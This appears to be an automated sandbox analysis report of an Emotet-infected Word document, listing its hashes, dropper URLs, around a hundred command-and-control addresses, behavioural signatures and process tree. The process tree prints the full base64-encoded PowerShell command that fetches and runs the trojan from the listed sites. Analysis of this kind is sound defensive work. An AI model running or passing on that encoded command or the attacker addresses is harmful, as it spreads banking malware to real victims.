emotet | 3b1979d93d4437d15e91bd003e4cc22b98f77a9a2f078b86594d9f88c875dbef

Analysis

max time kernel
136s
max time network
136s
platform
windows10_x64
resource
win10
submitted
24/09/2020, 08:17

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General

Target
emotet_e1_3b1979d93d4437d15e91bd003e4cc22b98f77a9a2f078b86594d9f88c875dbef_2020-09-24__081313970026._doc.doc
Size 166KB
Sample200924-mgn98bc51e
SHA256 3b1979d93d4437d15e91bd003e4cc22b98f77a9a2f078b86594d9f88c875dbef
MD5 668f5bb49b2d14529f2cd350960d560a
SHA1 a9132a01ba1fb981ce136a78189016537af09d08
SHA512 fcae8113384fb95976acd8e7621386a39671ac9f44c877a30737e19089482601cf053603fb1adec0c09ca05bc45562978cd0c39c21e7f75461d546e1366a006c
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://tulyboutiquehouse.com/wp-admin/L/
exe.dropper
http://www.namwasports.com/wp-includes/0/
exe.dropper
http://haniyyacrafts.com/cgi-bin/OLq/
exe.dropper
http://kanbonim.com/test/e/
exe.dropper
http://aahnaturals.net/wp-includes/a/
exe.dropper
http://safiullah.com/wp-content/U/
exe.dropper
http://ladsbarbearia.com/wvlph/R/

Extracted

Family

emotet

12.163.208.58:80
45.33.35.74:8080
87.106.253.248:8080
192.241.146.84:8080
190.115.18.139:8080
65.36.62.20:80
170.81.48.2:80
83.169.21.32:7080
185.232.182.218:80
190.2.31.172:80
77.106.157.34:8080
82.230.1.24:80
202.4.58.197:80
201.213.177.139:80
78.249.119.122:80
123.51.47.18:80
77.90.136.129:8080
60.93.23.51:80
152.169.22.67:80
190.117.79.209:80
60.108.144.104:443
213.197.182.158:8080
82.76.111.249:443
209.236.123.42:8080
190.24.243.186:80
177.74.228.34:80
191.182.6.118:80
96.245.123.149:80
61.197.92.216:80
1.226.84.243:8080
111.67.12.221:8080
216.47.196.104:80
185.94.252.27:443
70.116.143.84:80
187.162.248.237:80
217.13.106.14:8080
80.11.164.185:80
35.143.99.174:80
190.190.148.27:8080
219.92.13.25:80
70.32.115.157:8080
96.227.52.8:443
51.75.33.127:80
95.9.180.128:80
174.113.69.136:80
119.106.216.84:80
111.67.77.202:8080
91.105.94.200:80
178.250.54.208:8080
98.13.75.196:80
2.36.95.106:80
186.70.127.199:8090
116.202.23.3:8080
202.134.4.210:7080
50.28.51.143:8080
45.33.77.42:8080
67.247.242.247:80
137.74.106.111:7080
85.214.26.7:8080
181.30.61.163:443
77.238.212.227:80
185.215.227.107:443
186.103.141.250:443
50.121.220.50:80
74.136.144.133:80
104.131.41.185:8080
61.92.159.208:8080
104.131.103.37:8080
51.15.7.189:80
185.94.252.12:80
94.176.234.118:443
212.71.237.140:8080
5.196.35.138:7080
45.46.37.97:80
70.32.84.74:8080
199.203.62.165:80
38.88.126.202:8080
51.159.23.217:443
155.186.0.121:80
51.38.124.206:80
181.129.96.162:8080
64.201.88.132:80
92.24.50.153:80
189.2.177.210:443
45.16.226.117:443
76.168.54.203:80
185.178.10.77:80
220.109.145.69:80
192.81.38.31:80
68.183.170.114:8080
177.73.0.98:443
138.97.60.141:7080
192.241.143.52:8080
217.199.160.224:7080
185.183.16.47:80
177.129.17.170:443
5.189.178.202:8080
74.58.215.226:80
51.255.165.160:8080
12.162.84.2:8080
149.202.72.142:7080
87.106.46.107:8080
188.135.15.49:80
68.183.190.199:8080
172.104.169.32:8080
68.69.155.181:80
72.47.248.48:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2156	680	POwersheLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1988-13-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/1988-13-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/1988-14-0x00000000004D0000-0x00000000004E0000-memory.dmp	emotet
behavioral2/memory/1988-14-0x00000000004D0000-0x00000000004E0000-memory.dmp	emotet
behavioral2/memory/2176-17-0x0000000000460000-0x0000000000472000-memory.dmp	emotet
behavioral2/memory/2176-17-0x0000000000460000-0x0000000000472000-memory.dmp	emotet
behavioral2/memory/2176-18-0x00000000004C0000-0x00000000004D0000-memory.dmp	emotet
behavioral2/memory/2176-18-0x00000000004C0000-0x00000000004D0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
17	2156	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1988	Y7wnizp3.exe
2176	pla.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\tetheringclient\pla.exe	Y7wnizp3.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3036	WINWORD.EXE
3036	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2156	POwersheLL.exe
2156	POwersheLL.exe
2156	POwersheLL.exe
2176	pla.exe
2176	pla.exe
2176	pla.exe
2176	pla.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2156	POwersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3036	WINWORD.EXE
3036	WINWORD.EXE
3036	WINWORD.EXE
3036	WINWORD.EXE
3036	WINWORD.EXE
3036	WINWORD.EXE
3036	WINWORD.EXE
3036	WINWORD.EXE
3036	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2156 wrote to memory of 1988	2156	POwersheLL.exe	79
PID 2156 wrote to memory of 1988	2156	POwersheLL.exe	79
PID 2156 wrote to memory of 1988	2156	POwersheLL.exe	79
PID 1988 wrote to memory of 2176	1988	Y7wnizp3.exe	82
PID 1988 wrote to memory of 2176	1988	Y7wnizp3.exe	82
PID 1988 wrote to memory of 2176	1988	Y7wnizp3.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_3b1979d93d4437d15e91bd003e4cc22b98f77a9a2f078b86594d9f88c875dbef_2020-09-24__081313970026._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3036

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABMAG0AawB0AGoANwAxAD0AKAAnAE8AZgAnACsAKAAnAHoAJwArACcAYQB1AHkAcQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUAbgB2ADoAdQBTAGUAUgBQAHIAbwBGAGkATABFAFwAawA0ADIAZgBNAEoANwBcAFAAYQA5AFAANQBLAEMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBjAFQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAGMAdQBSAEkAVAB5AHAAUgBvAHQAYABvAEMAYABvAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAxACcAKwAnADIALAAgAHQAbAAnACsAJwBzADEAJwApACsAJwAxACcAKwAnACwAJwArACgAJwAgAHQAbAAnACsAJwBzACcAKQApADsAJABZAHoAYgB2AG0AcwBmACAAPQAgACgAKAAnAFkAJwArACcANwB3AG4AaQAnACkAKwAoACcAegBwACcAKwAnADMAJwApACkAOwAkAEkAeABiAHQAZwBuAHkAPQAoACcAWQBlACcAKwAnAGEAaAAnACsAKAAnAHgAXwAnACsAJwB1ACcAKQApADsAJABBAHkAMABpAGMAcQB3AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAJwArACcAMAAnACsAJwB9AEsANAAyAGYAbQBqADcAewAwAH0AUABhADkAJwArACcAcAA1ACcAKwAnAGsAYwB7ADAAJwArACcAfQAnACkAIAAgAC0ARgBbAEMASABBAFIAXQA5ADIAKQArACQAWQB6AGIAdgBtAHMAZgArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEUAdgBoAHUANgBkADkAPQAoACgAJwBHAHIAOQAnACsAJwB5ACcAKQArACgAJwAxADYAJwArACcAMgAnACkAKQA7ACQAQwBrAGQAbABnAGkAZAA9ACYAKAAnAG4AJwArACcAZQB3AC0AJwArACcAbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBlAFQALgBXAEUAQgBjAGwASQBFAE4AVAA7ACQAQQBnAGwAeAB6AHYAaQA9ACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAOgAvAC8AdAAnACkAKwAoACcAdQBsAHkAJwArACcAYgAnACkAKwAoACcAbwB1ACcAKwAnAHQAJwApACsAJwBpAHEAJwArACgAJwB1AGUAaAAnACsAJwBvACcAKwAnAHUAcwAnACkAKwAnAGUAJwArACgAJwAuACcAKwAnAGMAbwBtAC8AdwAnACkAKwAoACcAcAAtAGEAJwArACcAZAAnACkAKwAnAG0AJwArACcAaQBuACcAKwAnAC8ATAAnACsAKAAnAC8AJwArACcAKgBoAHQAJwApACsAJwB0ACcAKwAnAHAAOgAnACsAKAAnAC8ALwAnACsAJwB3AHcAJwApACsAKAAnAHcALgBuACcAKwAnAGEAJwApACsAJwBtAHcAJwArACgAJwBhACcAKwAnAHMAcABvACcAKQArACcAcgAnACsAKAAnAHQAJwArACcAcwAnACsAJwAuAGMAbwAnACsAJwBtAC8AdwBwAC0AJwApACsAKAAnAGkAJwArACcAbgBjACcAKQArACgAJwBsAHUAZABlACcAKwAnAHMAJwArACcALwAwAC8AKgAnACkAKwAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8AJwApACsAJwAvAGgAJwArACcAYQAnACsAJwBuACcAKwAnAGkAJwArACcAeQAnACsAKAAnAHkAJwArACcAYQBjAHIAJwApACsAKAAnAGEAZgB0AHMAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALwBjAGcAJwArACcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAE8AJwArACcATABxAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACcALwAnACsAKAAnAC8AawBhACcAKwAnAG4AJwApACsAJwBiACcAKwAoACcAbwBuAGkAJwArACcAbQAnACkAKwAnAC4AJwArACcAYwBvACcAKwAnAG0AJwArACcALwAnACsAKAAnAHQAZQAnACsAJwBzAHQALwAnACsAJwBlAC8AKgAnACkAKwAnAGgAdAAnACsAJwB0ACcAKwAoACcAcAAnACsAJwA6AC8ALwBhAGEAJwArACcAaABuAGEAdAB1ACcAKQArACgAJwByAGEAbABzACcAKwAnAC4AJwArACcAbgBlAHQALwB3ACcAKwAnAHAALQAnACkAKwAoACcAaQBuACcAKwAnAGMAbAAnACsAJwB1AGQAJwApACsAKAAnAGUAJwArACcAcwAvACcAKQArACcAYQAnACsAJwAvACcAKwAnACoAJwArACcAaAAnACsAJwB0ACcAKwAoACcAdABwADoALwAvACcAKwAnAHMAJwApACsAKAAnAGEAZgAnACsAJwBpACcAKQArACcAdQAnACsAKAAnAGwAJwArACcAbABhACcAKQArACgAJwBoAC4AYwBvACcAKwAnAG0AJwArACcALwB3ACcAKQArACcAcAAnACsAKAAnAC0AYwAnACsAJwBvACcAKwAnAG4AdABlAG4AJwApACsAJwB0ACcAKwAoACcALwBVAC8AKgBoAHQAJwArACcAdAAnACsAJwBwADoALwAvAGwAJwArACcAYQAnACkAKwAnAGQAJwArACcAcwAnACsAJwBiAGEAJwArACgAJwByACcAKwAnAGIAZQBhACcAKQArACcAcgAnACsAKAAnAGkAYQAnACsAJwAuAGMAbwAnACkAKwAnAG0ALwAnACsAKAAnAHcAdgBsAHAAJwArACcAaAAvACcAKwAnAFIALwAnACkAKQAuACIAcwBgAHAAbABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABOADIAMABpAHoAYwBvAD0AKAAnAEIAJwArACcAcAB3ACcAKwAoACcAdABxACcAKwAnAHIAbAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEYAZABlAGIAZwBfADYAIABpAG4AIAAkAEEAZwBsAHgAegB2AGkAKQB7AHQAcgB5AHsAJABDAGsAZABsAGcAaQBkAC4AIgBEAE8AVwBuAGwAYABPAGEARABGAGAAaQBMAEUAIgAoACQARgBkAGUAYgBnAF8ANgAsACAAJABBAHkAMABpAGMAcQB3ACkAOwAkAEIAawBjAGUAaQBoADkAPQAoACcAUwAnACsAJwByAGsAJwArACgAJwAxACcAKwAnAHEAXwA4ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEEAeQAwAGkAYwBxAHcAKQAuACIATABgAEUATgBnAGAAVABIACIAIAAtAGcAZQAgADIAMQA1ADUAOAApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABBAHkAMABpAGMAcQB3ACkAOwAkAEIAegA3AGIAbABvAGQAPQAoACcASwAnACsAJwB0AHEAJwArACgAJwByAG8AJwArACcAZQAzACcAKQApADsAYgByAGUAYQBrADsAJABBAHcAcAAzAHgAMQBsAD0AKAAoACcAVAB0ACcAKwAnAGkANAAnACsAJwB5AG0AJwApACsAJwBiACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBmAG4AMwBwADcAMgA9ACgAKAAnAFoAOAAnACsAJwA0ACcAKQArACgAJwB6AHMAMgAnACsAJwBsACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Users\Admin\K42fmj7\Pa9p5kc\Y7wnizp3.exe
  "C:\Users\Admin\K42fmj7\Pa9p5kc\Y7wnizp3.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\SysWOW64\tetheringclient\pla.exe
    "C:\Windows\SysWOW64\tetheringclient\pla.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2176

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1988-14-0x00000000004D0000-0x00000000004E0000-memory.dmp

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memory/1988-13-0x00000000004B0000-0x00000000004C2000-memory.dmp

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memory/2156-8-0x00000227C9AD0000-0x00000227C9AD1000-memory.dmp

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memory/2156-7-0x00007FF9C2CE0000-0x00007FF9C36CC000-memory.dmp

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memory/2156-9-0x00000227C9D00000-0x00000227C9D01000-memory.dmp

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memory/2176-17-0x0000000000460000-0x0000000000472000-memory.dmp

Download

memory/2176-18-0x00000000004C0000-0x00000000004D0000-memory.dmp

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memory/3036-0-0x00007FF9D1180000-0x00007FF9D1846000-memory.dmp

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memory/3036-6-0x000002709F92B000-0x000002709F93E000-memory.dmp

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memory/3036-5-0x000002709F92B000-0x000002709F93E000-memory.dmp

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memory/3036-4-0x000002709F92B000-0x000002709F93E000-memory.dmp

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memory/3036-3-0x000002709F92B000-0x000002709F93E000-memory.dmp

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memory/3036-2-0x000002709F894000-0x000002709F8E1000-memory.dmp

Download

memory/3036-1-0x000002709C270000-0x000002709C274000-memory.dmp

Download